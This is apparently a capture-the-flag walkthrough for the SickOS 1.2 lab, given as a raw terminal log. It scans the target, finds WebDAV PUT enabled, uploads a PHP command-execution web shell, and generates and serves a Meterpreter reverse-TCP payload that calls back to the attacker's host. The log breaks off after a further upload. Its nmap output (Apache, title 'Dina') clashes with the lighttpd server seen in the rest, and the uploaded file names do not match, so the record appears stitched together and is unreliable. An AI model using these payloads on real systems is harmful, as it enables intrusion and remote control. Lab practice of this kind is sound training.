So erhalten Sie die SickOS 1.2-Flagge

root@host06:~# nmap -sV -T4 -A 192.168.32.169
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-21 19:19 CST
Nmap scan report for 192.168.32.169
Host is up (0.00085s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
|_/ange1 /angel1 /nothing /tmp /uploads
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Dina
MAC Address: 00:0C:29:29:82:CE (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.85 ms 192.168.32.169

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds

root@host06:~# dirb http://192.168.32.169
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Fri Jun 21 19:25:51 2019
URL_BASE: http://192.168.32.169/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.32.169/ ----
+ http://192.168.32.169/index.php (CODE:200|SIZE:163)                                               
==> DIRECTORY: http://192.168.32.169/test/                                                          
                                                                                                    
---- Entering directory: http://192.168.32.169/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Fri Jun 21 19:26:01 2019
DOWNLOADED: 4612 - FOUND: 1

root@host06:~# nikto  -h http://192.168.32.169
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.32.169
+ Target Hostname:    192.168.32.169
+ Target Port:        80
+ Start Time:         2019-06-21 19:34:28 (GMT8)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26545 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2019-06-21 19:37:21 (GMT8) (173 seconds)

root@host06:~# curl -v -X OPTIONS http://192.168.32.169/test
* Expire in 0 ms for 6 (transfer 0x5588c3fe4d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x5588c3fe4d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> OPTIONS /test HTTP/1.1
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Location: http://192.168.32.169/test/
< Content-Length: 0
< Date: Fri, 21 Jun 2019 15:16:48 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.32.169 left intact

root@host06:~#  curl -v -X PUT -d 'I am a boy'  http://192.168.32.169/test/test.txt
* Expire in 0 ms for 6 (transfer 0x560c4ca07d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x560c4ca07d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> PUT /test/test.txt HTTP/1.1
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 10
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 10 out of 10 bytes
< HTTP/1.1 201 Created
< Content-Length: 0
< Date: Fri, 21 Jun 2019 15:22:00 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.32.169 left intact

root@host06:~# curl -X PUT -d &#39;<?php system($_GET["cmd"]);&#39; http://192.168.32.169/test/cmd.php
root@host06:~# curl "http://192.168.32.169/test/cmd.php?cmd=id;"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
root@host06:~# curl "http://192.168.32.169/test/cmd.php?cmd=ls%20-lha"
total 16K
drwxr-xr-x 2 www-data www-data 4.0K Jun 21 08:28 .
drwxr-xr-x 3 root     root     4.0K Apr 25  2016 ..
-rw-r--r-- 1 www-data www-data   27 Jun 21 08:28 cmd.php
-rw-r--r-- 1 www-data www-data   10 Jun 21 08:22 test.txt

root@host06:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1113 bytes

root@host06:~# python -m SimpleHTTPServer  443
Serving HTTP on 0.0.0.0 port 443 ...
192.168.32.169 - - [21/Jun/2019 20:09:25] "GET /put01.php HTTP/1.1" 200 -

root@host06:~# curl --upload-file put02.php -v --url http://192.168.32.169/test/put02.php  -0 --http1.0
* Expire in 0 ms for 6 (transfer 0x55e395728d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x55e395728d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> PUT /test/put02.php HTTP/1.0
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 111
>
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 201 Created
< Content-Length: 0
< Connection: close
< Date: Sat, 22 Jun 2019 00:12:16 GMT
< Server: lighttpd/1.4.28
<
* Closing connection 0